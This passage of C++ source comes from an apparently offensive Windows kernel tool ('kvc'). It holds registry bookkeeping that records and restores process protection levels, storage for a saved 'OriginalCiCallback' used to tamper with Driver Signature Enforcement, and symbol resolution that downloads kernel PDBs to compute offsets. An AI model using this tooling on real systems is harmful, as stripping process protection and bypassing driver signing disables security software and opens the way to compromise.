        entry.SectionSignatureLevel = proc.SectionSignatureLevel;
        entry.Status = L"UNPROTECTED";
        
        // Format: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
        std::wostringstream oss;
        oss << entry.Pid << L"|"
            << entry.ProcessName << L"|"
            << static_cast<int>(entry.OriginalProtection) << L"|"
            << static_cast<int>(entry.SignatureLevel) << L"|"
            << static_cast<int>(entry.SectionSignatureLevel) << L"|"
            << entry.Status;
        
        std::wstring valueName = L"Proc_" + std::to_wstring(index);
        std::wstring valueData = oss.str();
        
        LONG result = RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ, 
                                      reinterpret_cast<const BYTE*>(valueData.c_str()),
                                      static_cast<DWORD>((valueData.length() + 1) * sizeof(wchar_t)));
        
        if (result != ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
            return false;
        }
        
        index++;
    }
    
    // Write count
    DWORD count = static_cast<DWORD>(affectedProcesses.size());
    RegSetValueExW(hKey, L"Count", 0, REG_DWORD, reinterpret_cast<const BYTE*>(&count), sizeof(DWORD));
    
    RegCloseKey(hKey);
    
    SUCCESS(L"Session state saved to registry (%d processes tracked)", count);
    return true;
}

std::vector<SessionEntry> SessionManager::LoadSessionEntries(const std::wstring& signerName) noexcept
{
    // Normalize signer name for case-insensitive comparison
    std::wstring normalizedSigner = signerName;
    StringUtils::ToLower(normalizedSigner);
    
    std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
    
    HKEY hSession;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
        return {};
    
    // Search all subkeys for matching signer (case-insensitive)
    DWORD index = 0;
    wchar_t subKeyName[256];
    DWORD subKeyNameSize;
    std::wstring foundSignerKey;
    
    while (true)
    {
        subKeyNameSize = 256;
        LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
        if (result != ERROR_SUCCESS)
            break;
        
        std::wstring candidate = subKeyName;
        std::wstring normalizedCandidate = candidate;
        StringUtils::ToLower(normalizedCandidate);
        
        if (normalizedCandidate == normalizedSigner) {
            foundSignerKey = candidate;
            break;
        }
        
        index++;
    }
    
    if (foundSignerKey.empty()) {
        RegCloseKey(hSession);
        DEBUG(L"No signer key found for: %s (normalized: %s)", signerName.c_str(), normalizedSigner.c_str());
        return {};
    }
    
    // Load entries using actual key name
    auto entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
    RegCloseKey(hSession);
    
    DEBUG(L"Loaded %zu entries for signer: %s (key: %s)", entries.size(), signerName.c_str(), foundSignerKey.c_str());
    return entries;
}

std::vector<SessionEntry> SessionManager::LoadSessionEntriesFromPath(const std::wstring& sessionPath, 
                                                                     const std::wstring& signerName) noexcept
{
    std::vector<SessionEntry> entries;
    std::wstring signerPath = sessionPath + L"\\" + signerName;
    
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return entries;
    
    DWORD count = 0;
    DWORD dataSize = sizeof(DWORD);
    if (RegQueryValueExW(hKey, L"Count", nullptr, nullptr, reinterpret_cast<BYTE*>(&count), &dataSize) != ERROR_SUCCESS) {
        count = 0;
    }
    
    for (DWORD i = 0; i < count; i++)
    {
        std::wstring valueName = L"Proc_" + std::to_wstring(i);
        wchar_t valueData[512];
        DWORD valueSize = sizeof(valueData);
        
        if (RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr, 
                            reinterpret_cast<BYTE*>(valueData), &valueSize) == ERROR_SUCCESS)
        {
            // Parse: "PID|ProcessName|Protection|SigLevel|SecSigLevel|Status"
            std::wstring data = valueData;
            std::vector<std::wstring> parts;
            std::wstring current;
            
            for (wchar_t ch : data)
            {
                if (ch == L'|')
                {
                    parts.push_back(current);
                    current.clear();
                }
                else
                {
                    current += ch;
                }
            }
            if (!current.empty())
                parts.push_back(current);
            
            if (parts.size() >= 5)
            {
                SessionEntry entry;
                entry.Pid = static_cast<DWORD>(std::stoul(parts[0]));
                entry.ProcessName = parts[1];
                entry.OriginalProtection = static_cast<UCHAR>(std::stoi(parts[2]));
                entry.SignatureLevel = static_cast<UCHAR>(std::stoi(parts[3]));
                entry.SectionSignatureLevel = static_cast<UCHAR>(std::stoi(parts[4]));
                entry.Status = (parts.size() >= 6) ? parts[5] : L"UNPROTECTED";
                
                entries.push_back(entry);
            }
        }
    }
    
    RegCloseKey(hKey);
    return entries;
}

bool SessionManager::RestoreBySigner(const std::wstring& signerName, Controller* controller) noexcept
{
    if (!controller)
    {
        ERROR(L"Controller not available for restoration");
        return false;
    }
    
    // Find actual signer key name in registry (case-insensitive search)
    std::wstring normalizedSigner = signerName;
    StringUtils::ToLower(normalizedSigner);
    
    std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
    
    HKEY hSession;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
    {
        INFO(L"No saved state found for signer: %s", signerName.c_str());
        return false;
    }
    
    // Find actual key name in registry
    DWORD index = 0;
    wchar_t subKeyName[256];
    DWORD subKeyNameSize;
    std::wstring foundSignerKey;
    
    while (true)
    {
        subKeyNameSize = 256;
        LONG result = RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr);
        if (result != ERROR_SUCCESS)
            break;
        
        std::wstring candidate = subKeyName;
        std::wstring normalizedCandidate = candidate;
        StringUtils::ToLower(normalizedCandidate);
        
        if (normalizedCandidate == normalizedSigner) {
            foundSignerKey = candidate;
            break;
        }
        
        index++;
    }
    
    RegCloseKey(hSession);
    
    if (foundSignerKey.empty())
    {
        INFO(L"No saved state found for signer: %s", signerName.c_str());
        return false;
    }
    
    // Load entries using actual key name
    auto entries = LoadSessionEntriesFromPath(sessionPath, foundSignerKey);
    
    if (entries.empty())
    {
        INFO(L"No saved state found for signer: %s", signerName.c_str());
        return false;
    }
    
    INFO(L"Restoring protection for %s (%zu processes)", signerName.c_str(), entries.size());
    
    DWORD successCount = 0;
    DWORD skipCount = 0;
    DWORD entryIndex = 0;
    
    for (const auto& entry : entries)
    {
        // Skip if already restored
        if (entry.Status == L"RESTORED")
        {
            skipCount++;
            entryIndex++;
            continue;
        }
        
        // Check if process still exists
        auto kernelAddr = controller->GetProcessKernelAddress(entry.Pid);
        if (!kernelAddr)
        {
            INFO(L"Skipping PID %d (%s) - process no longer exists", entry.Pid, entry.ProcessName.c_str());
            skipCount++;
            entryIndex++;
            continue;
        }
        
        // Restore original protection
        if (controller->SetProcessProtection(kernelAddr.value(), entry.OriginalProtection))
        {
            // Update status in registry
            std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
            std::wstring signerPath = sessionPath + L"\\" + foundSignerKey;
            
            HKEY hKey;
            if (RegOpenKeyExW(HKEY_CURRENT_USER, signerPath.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) == ERROR_SUCCESS)
            {
                // Rebuild entry with new status
                std::wostringstream oss;
                oss << entry.Pid << L"|"
                    << entry.ProcessName << L"|"
                    << static_cast<int>(entry.OriginalProtection) << L"|"
                    << static_cast<int>(entry.SignatureLevel) << L"|"
                    << static_cast<int>(entry.SectionSignatureLevel) << L"|"
                    << L"RESTORED";
                
                std::wstring valueName = L"Proc_" + std::to_wstring(entryIndex);
                std::wstring valueData = oss.str();
                
                RegSetValueExW(hKey, valueName.c_str(), 0, REG_SZ, 
                               reinterpret_cast<const BYTE*>(valueData.c_str()),
                               static_cast<DWORD>((valueData.length() + 1) * sizeof(wchar_t)));
                RegCloseKey(hKey);
            }
            
            SUCCESS(L"Restored protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
            successCount++;
        }
        else
        {
            ERROR(L"Failed to restore protection for PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
        }
        
        entryIndex++;
    }
    
    INFO(L"Restoration completed: %d restored, %d skipped", successCount, skipCount);
    return successCount > 0;
}

bool SessionManager::RestoreAll(Controller* controller) noexcept
{
    if (!controller)
    {
        ERROR(L"Controller not available for restoration");
        return false;
    }
    
    std::wstring sessionPath = GetSessionPath(GetCurrentBootSession());
    
    HKEY hSession;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) != ERROR_SUCCESS)
    {
        INFO(L"No saved session state found");
        return false;
    }
    
    // Enumerate all signer subkeys
    DWORD index = 0;
    wchar_t subKeyName[256];
    DWORD subKeyNameSize;
    std::vector<std::wstring> signers;
    
    while (true)
    {
        subKeyNameSize = 256;
        if (RegEnumKeyExW(hSession, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
            break;
        
        signers.push_back(subKeyName);
        index++;
    }
    
    RegCloseKey(hSession);
    
    if (signers.empty())
    {
        INFO(L"No saved state found in current session");
        return false;
    }
    
    INFO(L"Restoring all protection states (%zu groups)", signers.size());
    
    bool anySuccess = false;
    for (const auto& signer : signers)
    {
        if (RestoreBySigner(signer, controller))
            anySuccess = true;
    }
    
    return anySuccess;
}

void SessionManager::ShowHistory() noexcept
{
    std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
    
    HKEY hSessions;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
    {
        INFO(L"No saved session state found (cannot open sessions key)");
        return;
    }

    // Show current calculated boot session ID
    std::wstring currentSession = GetCurrentBootSession();
    INFO(L"Current boot session ID: %s", currentSession.c_str());
    INFO(L"All sessions found in registry:");
    
    DWORD index = 0;
    wchar_t subKeyName[256];
    DWORD subKeyNameSize;
    bool foundSessions = false;

    while (true)
    {
        subKeyNameSize = 256;
        if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
            break;

        std::wstring sessionId = subKeyName;
        std::wcout << L"\nSession: " << sessionId;
        if (sessionId == currentSession) {
            std::wcout << L" [CURRENT]";
        }
        std::wcout << L"\n";
        
        std::wstring sessionPath = basePath + L"\\" + sessionId;
        HKEY hSession;
        if (RegOpenKeyExW(HKEY_CURRENT_USER, sessionPath.c_str(), 0, KEY_READ, &hSession) == ERROR_SUCCESS)
        {
            DWORD signerIndex = 0;
            wchar_t signerName[256];
            DWORD signerNameSize;

            while (true)
            {
                signerNameSize = 256;
                if (RegEnumKeyExW(hSession, signerIndex, signerName, &signerNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
                    break;

                std::wstring signer = signerName;
                auto entries = LoadSessionEntriesFromPath(sessionPath, signer);
                std::wcout << L"  [" << signer << L"] - " << entries.size() << L" processes\n";

                for (const auto& entry : entries)
                {
                    std::wcout << L"    PID " << entry.Pid << L": " << entry.ProcessName 
                               << L" (protection: 0x" << std::hex << static_cast<int>(entry.OriginalProtection) 
                               << std::dec << L", status: " << entry.Status << L")\n";
                }

                signerIndex++;
                foundSessions = true;
            }
            RegCloseKey(hSession);
        }
        index++;
    }

    RegCloseKey(hSessions);
    
    if (!foundSessions) {
        INFO(L"No session data found in registry");
    }
}

void SessionManager::CleanupStaleSessions() noexcept
{
    std::wstring currentSession = GetCurrentBootSession();
    std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
    
    HKEY hSessions;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
        return;
    
    DWORD index = 0;
    wchar_t subKeyName[256];
    DWORD subKeyNameSize;
    
    std::vector<std::wstring> keysToDelete;
    
    while (true)
    {
        subKeyNameSize = 256;
        if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
            break;
        
        std::wstring keyName = subKeyName;
        if (keyName != currentSession)
            keysToDelete.push_back(keyName);
        
        index++;
    }
    
    // Delete stale sessions
    for (const auto& key : keysToDelete)
    {
        DeleteKeyRecursive(hSessions, key);
    }
    
    RegCloseKey(hSessions);
}

HKEY SessionManager::OpenOrCreateKey(const std::wstring& path) noexcept
{
    HKEY hKey;
    DWORD disposition;
    
    if (RegCreateKeyExW(HKEY_CURRENT_USER, path.c_str(), 0, nullptr, 
                       REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nullptr, 
                       &hKey, &disposition) != ERROR_SUCCESS)
    {
        return nullptr;
    }
    
    return hKey;
}

bool SessionManager::DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept
{
    HKEY hKey;
    if (RegOpenKeyExW(hKeyParent, subKey.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
        return false;
    
    // Delete all subkeys first
    wchar_t childName[256];
    DWORD childNameSize;
    
    while (true)
    {
        childNameSize = 256;
        if (RegEnumKeyExW(hKey, 0, childName, &childNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
            break;
        
        DeleteKeyRecursive(hKey, childName);
    }
    
    RegCloseKey(hKey);
    RegDeleteKeyW(hKeyParent, subKey.c_str());
    
    return true;
}

// ============================================================================
// DSE-NG ORIGINAL CALLBACK MANAGEMENT (simplified)
// ============================================================================
// Note: Offset caching removed - KernelBase changes on every reboot due to KASLR
// Offsets are now always calculated fresh from local or downloaded PDB

void SessionManager::SaveOriginalCiCallback(DWORD64 address) noexcept
{
    HKEY hKey;
    if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\DSE", 0, nullptr, 
        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr) == ERROR_SUCCESS) {
        RegSetValueExW(hKey, L"OriginalCiCallback", 0, REG_QWORD, 
            reinterpret_cast<const BYTE*>(&address), sizeof(DWORD64));
        RegCloseKey(hKey);
        DEBUG(L"Saved OriginalCiCallback: 0x%llX to registry", address);
    }
}

DWORD64 SessionManager::GetOriginalCiCallback() noexcept
{
    HKEY hKey;
    DWORD64 value = 0;
    DWORD size = sizeof(DWORD64);
    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\DSE", 0, 
        KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegQueryValueExW(hKey, L"OriginalCiCallback", nullptr, nullptr, 
            reinterpret_cast<BYTE*>(&value), &size);
        RegCloseKey(hKey);
        DEBUG(L"Loaded OriginalCiCallback: 0x%llX from registry", value);
    }
    return value;
}

void SessionManager::ClearOriginalCiCallback() noexcept
{
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\DSE", 0, 
        KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        RegDeleteValueW(hKey, L"OriginalCiCallback");
        RegCloseKey(hKey);
        DEBUG(L"Cleared OriginalCiCallback from registry");
    }
}

<<<FILE: kvc/SessionManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     4.57 KB
// SessionManager.h - Manages process protection state and DSE-NG original callback
#pragma once

#include "common.h"
#include <string>
#include <vector>
#include <optional>
#include <tuple>

// Forward declarations
struct ProcessEntry;
class Controller;

// Single process protection state entry for restoration
struct SessionEntry
{
    DWORD Pid;                          // Process ID at unprotect time
    std::wstring ProcessName;           // Executable name
    UCHAR OriginalProtection;           // Original protection level
    UCHAR SignatureLevel;               // Executable signature level
    UCHAR SectionSignatureLevel;        // DLL section signature level
    std::wstring Status;                // "UNPROTECTED" or "RESTORED"
};

// Manages protection state tracking, restoration, and DSE-NG original callback
class SessionManager
{
public:
    // Construct session manager (no automatic reboot detection)
    SessionManager() = default;
    
    // Default destructor (no cleanup needed)
    ~SessionManager() = default;

    // === Session Lifecycle Management ===
    
    // Remove outdated session entries from registry
    void CleanupStaleSessions() noexcept;
    
    // Delete all sessions except current boot session
    void CleanupAllSessionsExceptCurrent() noexcept;
    
    // Detect reboot by comparing boot ID and cleanup old sessions
    void DetectAndHandleReboot() noexcept;
    
    // Enforce maximum number of stored sessions (default 16)
    void EnforceSessionLimit(int maxSessions) noexcept;

    // === State Tracking Operations ===
    
    // Save unprotect state for given signer group to registry
    bool SaveUnprotectOperation(const std::wstring& signerName, 
                               const std::vector<ProcessEntry>& affectedProcesses) noexcept;

    // === Restoration Operations ===
    
    // Restore protection for all entries under specified signer
    bool RestoreBySigner(const std::wstring& signerName, Controller* controller) noexcept;
    
    // Restore all saved protections across all signer groups
    bool RestoreAll(Controller* controller) noexcept;

    // === Query Operations ===
    
    // Display session history and statistics
    void ShowHistory() noexcept;
    
    // === DSE-NG Original Callback Management ===
    // Note: Offset caching removed - KernelBase changes on every reboot due to KASLR
    //       Offsets are now always calculated fresh from local or downloaded PDB
    
    // Save/load original CiCallback for DSE-NG restoration
    static void SaveOriginalCiCallback(DWORD64 address) noexcept;
    static DWORD64 GetOriginalCiCallback() noexcept;
    static void ClearOriginalCiCallback() noexcept;

private:
    // Get current boot session ID: "{BootID}_{TickCount}"
    std::wstring GetCurrentBootSession() noexcept;
    
    // Convert tick count to human-readable boot time
    std::wstring CalculateBootTime() noexcept;
    
    // Read last boot ID from registry
    ULONGLONG GetLastBootIdFromRegistry() noexcept;
    
    // Save current boot ID to registry
    void SaveLastBootId(ULONGLONG bootId) noexcept;
    
    // Read last tick count from registry
    ULONGLONG GetLastTickCountFromRegistry() noexcept;
    
    // Save current tick count to registry
    void SaveLastTickCount(ULONGLONG tickCount) noexcept;
    
    // Return base registry path for sessions
    std::wstring GetRegistryBasePath() noexcept;
    
    // Build full registry path for given session ID
    std::wstring GetSessionPath(const std::wstring& sessionId) noexcept;
    
    // Load all session entries for given signer
    std::vector<SessionEntry> LoadSessionEntries(const std::wstring& signerName) noexcept;
    
    // Load session entries from given registry path
    std::vector<SessionEntry> LoadSessionEntriesFromPath(const std::wstring& sessionPath, 
                                                         const std::wstring& signerName) noexcept;
    
    // Write single session entry to registry
    bool WriteSessionEntry(const std::wstring& signerName, DWORD index, const SessionEntry& entry) noexcept;
    
    // Update status ("UNPROTECTED"/"RESTORED") for specific entry
    bool UpdateEntryStatus(const std::wstring& signerName, DWORD index, const std::wstring& newStatus) noexcept;
    
    // Enumerate all stored session IDs in registry
    std::vector<std::wstring> GetAllSessionIds() noexcept;
    
    // Open or create registry key by path
    HKEY OpenOrCreateKey(const std::wstring& path) noexcept;
    
    // Recursively delete registry key and all its subkeys
    bool DeleteKeyRecursive(HKEY hKeyParent, const std::wstring& subKey) noexcept;
};

<<<FILE: kvc/SymbolEngine.cpp>>>
Created:  2026-04-09 19:44:29
Modified: 2026-04-09 19:44:29
Size:     46.55 KB
// SymbolEngine.cpp
// Symbol resolution with local PDB priority and automatic download fallback

#include "SymbolEngine.h"
#include <psapi.h>
#include <shlwapi.h>
#include <shlobj.h>

#pragma comment(lib, "dbghelp.lib")
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "shell32.lib")

// ============================================================================
// CONSTRUCTION / DESTRUCTION
// ============================================================================

SymbolEngine::SymbolEngine() 
    : m_symbolServer(L"https://msdl.microsoft.com/download/symbols")
{
}

SymbolEngine::~SymbolEngine() {
    if (m_initialized) {
        SymCleanup(GetCurrentProcess());
    }
}

// ============================================================================
// PUBLIC INTERFACE
// ============================================================================

std::optional<std::pair<DWORD64, DWORD64>> SymbolEngine::GetKernelSymbolOffsets() noexcept {
    DEBUG(L"[SymbolEngine] Getting kernel symbol offsets...");
    
    if (!Initialize()) {
        ERROR(L"[SymbolEngine] Failed to initialize");
        return std::nullopt;
    }
    
    auto kernelInfo = GetKernelInfo();
    if (!kernelInfo) {
        ERROR(L"[SymbolEngine] Failed to locate kernel");
        return std::nullopt;
    }
    
    return GetSymbolOffsets(kernelInfo->second);
}

std::optional<DWORD64> SymbolEngine::GetSymbolOffset(const std::wstring& modulePath, const std::wstring& symbolName) noexcept {
    DEBUG(L"[SymbolEngine] Resolving symbol '%s' for module: %s", symbolName.c_str(), modulePath.c_str());
    
    if (!Initialize()) {
        ERROR(L"[SymbolEngine] Failed to initialize");
        return std::nullopt;
    }

    // Extract PDB information from module binary
    auto pdbInfo = GetPdbInfoFromPe(modulePath);
    if (!pdbInfo) {
        ERROR(L"[SymbolEngine] Failed to extract PDB info from module: %s", modulePath.c_str());
        return std::nullopt;
    }
    
    auto [pdbName, guid] = *pdbInfo;
    DEBUG(L"[SymbolEngine] PDB: %s, GUID: %s", pdbName.c_str(), guid.c_str());
    
    // Build local PDB path
    std::wstring localPdbPath = GetLocalPdbPath(pdbName, guid);
    if (localPdbPath.empty()) {
        ERROR(L"[SymbolEngine] Failed to build local PDB path");
        return std::nullopt;
    }
    
    // Check if PDB exists locally, otherwise download
    if (!PathFileExistsW(localPdbPath.c_str())) {
        INFO(L"[SymbolEngine] Local PDB not found, downloading...");
        if (!DownloadPdbToDisk(pdbName, guid, localPdbPath)) {
            ERROR(L"[SymbolEngine] Failed to download PDB");
            return std::nullopt;
        }
    }
    
    return CalculateSymbolOffsetFromDisk(localPdbPath, pdbName, symbolName);
}

std::optional<DWORD64> SymbolEngine::CalculateSymbolOffsetFromDisk(
    const std::wstring& pdbPath,
    const std::wstring& pdbName,
    const std::wstring& symbolName) noexcept
{
    DEBUG(L"[SymbolEngine] Resolving symbol '%s' from PDB: %s", symbolName.c_str(), pdbPath.c_str());

    std::wstring pdbDir = pdbPath.substr(0, pdbPath.find_last_of(L"\\/"));
    
    if (m_initialized) {
        SymCleanup(GetCurrentProcess());
        m_initialized = false;
    }

    std::wstring symbolPath = L"SRV*" + pdbDir;
    DWORD options = SymGetOptions();
    SymSetOptions(options | SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS | SYMOPT_CASE_INSENSITIVE);

    if (!SymInitializeW(GetCurrentProcess(), symbolPath.c_str(), FALSE)) {
        ERROR(L"[SymbolEngine] SymInitializeW failed: %d", GetLastError());
        return std::nullopt;
    }
    m_initialized = true;

    DWORD64 baseAddr = 0x140000000;
    DWORD64 loadedModule = SymLoadModuleExW(GetCurrentProcess(), nullptr,
        pdbPath.c_str(), nullptr, baseAddr, 0, nullptr, 0);

    if (loadedModule == 0) {
        ERROR(L"[SymbolEngine] SymLoadModuleExW failed: %d", GetLastError());
        return std::nullopt;
    }

    std::vector<BYTE> symBuffer(sizeof(SYMBOL_INFOW) + (MAX_SYM_NAME * sizeof(wchar_t)));
    PSYMBOL_INFOW pSymbol = reinterpret_cast<PSYMBOL_INFOW>(symBuffer.data());
    pSymbol->SizeOfStruct = sizeof(SYMBOL_INFOW);
    pSymbol->MaxNameLen = MAX_SYM_NAME;

    DWORD64 offset = 0;
    if (SymFromNameW(GetCurrentProcess(), symbolName.c_str(), pSymbol)) {
        offset = pSymbol->Address - baseAddr;
        SUCCESS(L"[SymbolEngine] Symbol '%s' resolved to RVA: 0x%llX", symbolName.c_str(), offset);
    } else {
        ERROR(L"[SymbolEngine] Symbol '%s' not found: %d", symbolName.c_str(), GetLastError());
    }

    SymUnloadModule64(GetCurrentProcess(), loadedModule);
    return (offset != 0) ? std::optional<DWORD64>(offset) : std::nullopt;
}

std::optional<std::pair<DWORD64, DWORD64>> SymbolEngine::GetSymbolOffsets(const std::wstring& kernelPath) noexcept {
    DEBUG(L"[SymbolEngine] Processing kernel: %s", kernelPath.c_str());
    
    // Extract PDB information from kernel binary
    auto pdbInfo = GetPdbInfoFromPe(kernelPath);
    if (!pdbInfo) {
        ERROR(L"[SymbolEngine] Failed to extract PDB info from kernel");
        return std::nullopt;
    }
    
    auto [pdbName, guid] = *pdbInfo;
    DEBUG(L"[SymbolEngine] PDB: %s, GUID: %s", pdbName.c_str(), guid.c_str());
    
    // Build local PDB path
    std::wstring localPdbPath = GetLocalPdbPath(pdbName, guid);
    if (localPdbPath.empty()) {
        ERROR(L"[SymbolEngine] Failed to build local PDB path");
        return std::nullopt;
    }
    
    // Check if PDB exists locally
    if (PathFileExistsW(localPdbPath.c_str())) {
        INFO(L"[SymbolEngine] Using local PDB: %s", localPdbPath.c_str());
        return CalculateOffsetsFromDisk(localPdbPath, pdbName);
    }
    
    // PDB not found locally - download directly to target location
    INFO(L"[SymbolEngine] Local PDB not found, downloading from Microsoft symbol server...");
    
    if (!DownloadPdbToDisk(pdbName, guid, localPdbPath)) {
        ERROR(L"[SymbolEngine] Failed to download PDB");
        return std::nullopt;
    }
    
    INFO(L"[SymbolEngine] PDB downloaded and saved: %s", localPdbPath.c_str());

    // Clean up stale GUID directories for this PDB (other kernel versions)
    PurgeStaleGuids(pdbName, guid);

    // Calculate offsets from newly downloaded PDB
    return CalculateOffsetsFromDisk(localPdbPath, pdbName);
}

// ============================================================================
// LOCAL PDB RESOLUTION
// ============================================================================

std::wstring SymbolEngine::GetLocalPdbPath(const std::wstring& pdbName, const std::wstring& guid) noexcept {
    // Get system drive dynamically (no hardcoded C:)
    wchar_t systemDrive[MAX_PATH];
    if (GetEnvironmentVariableW(L"SystemDrive", systemDrive, MAX_PATH) == 0) {
        DEBUG(L"[SymbolEngine] Failed to get SystemDrive, using C: as fallback");
        wcscpy_s(systemDrive, L"C:");
    }
    
    // Build path: %SystemDrive%\ProgramData\dbg\sym\{pdbName}\{GUID}\{pdbName}
    std::wstring basePath = std::wstring(systemDrive) + L"\\ProgramData\\dbg\\sym\\" + 
                            pdbName + L"\\" + guid + L"\\" + pdbName;
    
    DEBUG(L"[SymbolEngine] PDB path: %s", basePath.c_str());
    return basePath;
}

// ============================================================================
// STALE PDB CLEANUP
// ============================================================================

void SymbolEngine::PurgeStaleGuids(const std::wstring& pdbName, const std::wstring& currentGuid) noexcept {
    // Derive base dir from GetLocalPdbPath: strip last two components (guid\pdbName)
    std::wstring samplePath = GetLocalPdbPath(pdbName, currentGuid);
    // samplePath = ...dbg\sym\ntoskrnl.pdb\{GUID}\ntoskrnl.pdb
    auto pos1 = samplePath.find_last_of(L"\\/");                        // strip \ntoskrnl.pdb
    if (pos1 == std::wstring::npos) return;
    auto pos2 = samplePath.find_last_of(L"\\/", pos1 - 1);             // strip \{GUID}
    if (pos2 == std::wstring::npos) return;
    std::wstring baseDir = samplePath.substr(0, pos2);                  // ...dbg\sym\ntoskrnl.pdb

    WIN32_FIND_DATAW fd{};
    std::wstring pattern = baseDir + L"\\*";
    HANDLE hFind = FindFirstFileW(pattern.c_str(), &fd);
    if (hFind == INVALID_HANDLE_VALUE) return;

    DWORD removed = 0;
    do {
        if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) continue;
        if (fd.cFileName[0] == L'.') continue;                          // skip . and ..
        if (_wcsicmp(fd.cFileName, currentGuid.c_str()) == 0) continue; // keep current

        std::wstring staleDir = baseDir + L"\\" + fd.cFileName;
        // RemoveDirectoryW only removes empty dirs — use recursive SHFileOperation-free delete
        std::wstring doubleNull = staleDir + L'\0';                     // SHFileOperation needs \0\0
        SHFILEOPSTRUCTW op{};
        op.wFunc  = FO_DELETE;
        op.pFrom  = doubleNull.c_str();
        op.fFlags = FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT;
        if (SHFileOperationW(&op) == 0 && !op.fAnyOperationsAborted) {
            INFO(L"[SymbolEngine] Removed stale PDB: %s", staleDir.c_str());
            removed++;
        } else {
            DEBUG(L"[SymbolEngine] Failed to remove stale PDB: %s", staleDir.c_str());
        }
    } while (FindNextFileW(hFind, &fd));
    FindClose(hFind);

    if (removed > 0) {
        INFO(L"[SymbolEngine] Purged %lu stale PDB GUID(s) for %s", removed, pdbName.c_str());
    }
}

// ============================================================================
// INITIALIZATION
// ============================================================================

bool SymbolEngine::Initialize() noexcept {
    if (m_initialized) return true;
    
    DWORD options = SymGetOptions();
    SymSetOptions(options | SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS | 
                  SYMOPT_DEBUG | SYMOPT_CASE_INSENSITIVE);
    
    if (!SymInitializeW(GetCurrentProcess(), nullptr, FALSE)) {
        ERROR(L"[SymbolEngine] SymInitializeW failed: %d", GetLastError());
        return false;
    }
    
    m_initialized = true;
    DEBUG(L"[SymbolEngine] Initialized");
    return true;
}

// ============================================================================
// KERNEL INFORMATION
// ============================================================================

std::optional<std::pair<DWORD64, std::wstring>> SymbolEngine::GetKernelInfo() noexcept {
    LPVOID drivers[1024];
    DWORD needed;
    
    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &needed)) {
        ERROR(L"[SymbolEngine] Failed to enumerate device drivers: %d", GetLastError());
        return std::nullopt;
    }
    
    DWORD64 kernelBase = reinterpret_cast<DWORD64>(drivers[0]);
    
    wchar_t kernelPath[MAX_PATH];
    if (!GetDeviceDriverFileNameW(drivers[0], kernelPath, MAX_PATH)) {
        ERROR(L"[SymbolEngine] Failed to get kernel path: %d", GetLastError());
        return std::nullopt;
    }
    
    std::wstring ntPath = kernelPath;
    std::wstring dosPath;
    
    if (ntPath.find(L"\\SystemRoot\\") == 0) {
        wchar_t winDir[MAX_PATH];
        GetWindowsDirectoryW(winDir, MAX_PATH);
        dosPath = std::wstring(winDir) + ntPath.substr(11);
    } else if (ntPath.find(L"\\??\\") == 0) {
        dosPath = ntPath.substr(4);
    } else {
        dosPath = ntPath;
    }
    
    DEBUG(L"[SymbolEngine] Kernel base: 0x%llX, path: %s", kernelBase, dosPath.c_str());
    return std::make_pair(kernelBase, dosPath);
}

// ============================================================================
// PDB INFO EXTRACTION
// ============================================================================

std::optional<std::pair<std::wstring, std::wstring>> SymbolEngine::GetPdbInfoFromPe(const std::wstring& pePath) noexcept {
    HANDLE hFile = CreateFileW(pePath.c_str(), GENERIC_READ, FILE_SHARE_READ, 
